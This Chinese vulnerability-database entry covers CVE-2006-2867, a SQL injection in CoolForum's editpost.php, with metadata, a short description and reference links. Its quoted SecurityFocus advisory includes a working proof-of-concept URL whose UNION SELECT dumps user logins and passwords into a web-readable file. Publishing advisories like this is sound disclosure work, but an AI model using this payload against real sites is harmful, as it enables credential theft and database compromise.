CoolForum Editpost.PHP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110407 漏洞类型 SQL注入
发布时间 2006-06-05 更新时间 2006-06-07
CVE编号 CVE-2006-2867 CNNVD-ID CNNVD-200606-142
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/27964
https://cxsecurity.com/issue/WLB-2006060058
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200606-142
|漏洞详情
CoolForum的editpost.php存在SQL注入漏洞,远程攻击者可以通过post参数来执行任意SQL命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/18268/info

CoolForum is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/editpost.php?forumid=1&post=3 UNION SELECT userid,login,password FROM cf_user INTO OUTFILE '/www/web/resultat.txt'%23&parent=1&p=1
|参考资料

来源:BUGTRAQ
名称:20060603CriticalSQLInjectioninCoolForum
链接:http://www.securityfocus.com/archive/1/archive/1/435862/100/0/threaded
来源:SECTRACK
名称:1016218
链接:http://securitytracker.com/id?1016218
来源:MISC
链接:http://mgsdl.free.fr/advisories/coolforum083ba.txt
来源:XF
名称:coolforum-editpost-sql-injection(26920)
链接:http://xforce.iss.net/xforce/xfdb/26920
来源:BID
名称:18268
链接:http://www.securityfocus.com/bid/18268
来源:SREASON
名称:1052
链接:http://securityreason.com/securityalert/1052